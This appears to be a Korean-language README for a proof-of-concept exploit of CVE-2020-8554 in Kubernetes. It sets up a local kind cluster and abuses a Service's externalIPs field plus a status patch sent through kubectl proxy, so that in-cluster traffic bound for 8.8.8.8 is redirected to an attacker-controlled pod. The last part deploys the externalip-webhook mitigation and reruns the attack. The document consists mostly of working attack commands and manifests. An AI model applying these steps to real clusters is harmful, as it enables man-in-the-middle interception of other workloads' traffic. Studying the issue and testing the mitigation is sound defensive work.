dviejopomata/cve-2020-8554CVE-2020-8554에 대한 개념 증명 익스플로잇으로, Kubernetes 서비스 externalIP 조작을 통해 클러스터 트래픽에 대한 중간자 공격을 수행하는 방법을 보여줍니다.
kind create cluster --config ./kind.yaml
클러스터에는 certmanager가 설치되어 있어야 합니다: https://cert-manager.io/docs/installation/kubernetes/
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Namespace
metadata:
name: kubeproxy-mitm
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: echoserver
namespace: kubeproxy-mitm
spec:
replicas: 1
selector:
matchLabels:
app: echoserver
template:
metadata:
labels:
app: echoserver
spec:
containers:
- image: gcr.io/google_containers/echoserver:1.10
name: echoserver
ports:
- name: http
containerPort: 8080
- name: https
containerPort: 8443
EOF
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Service
metadata:
name: mitm-lb
namespace: kubeproxy-mitm
spec:
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
selector:
app: echoserver
externalIPs:
- 8.8.8.8
type: LoadBalancer
EOF
kubectl proxy --port=8080
curl -k -v -XPATCH -H "Accept: application/json" -H "Content-Type: application/merge-patch+json" 'http://127.0.0.1:8080/api/v1/namespaces/kubeproxy-mitm/services/mitm-lb/status' -d '{"status":{"loadBalancer":{"ingress":[{"ip":"8.8.8.8"}]}}}'
# external IP 확인
kubectl get svc -n kubeproxy-mitm
다음에서 웹훅을 배포합니다: https://github.com/kubernetes-sigs/externalip-webhook
kubectl apply -f ./externalip-webhook.yaml
kubectl delete svc -n kubeproxy-mitm mitm-lb
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Service
metadata:
name: mitm-lb
namespace: kubeproxy-mitm
spec:
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
selector:
app: echoserver
externalIPs:
- 8.8.8.8
type: LoadBalancer
EOF
curl -k -v -XPATCH -H "Accept: application/json" -H "Content-Type: application/merge-patch+json" 'http://127.0.0.1:8080/api/v1/namespaces/kubeproxy-mitm/services/mitm-lb/status' -d '{"status":{"loadBalancer":{"ingress":[{"ip":"8.8.8.8"}]}}}'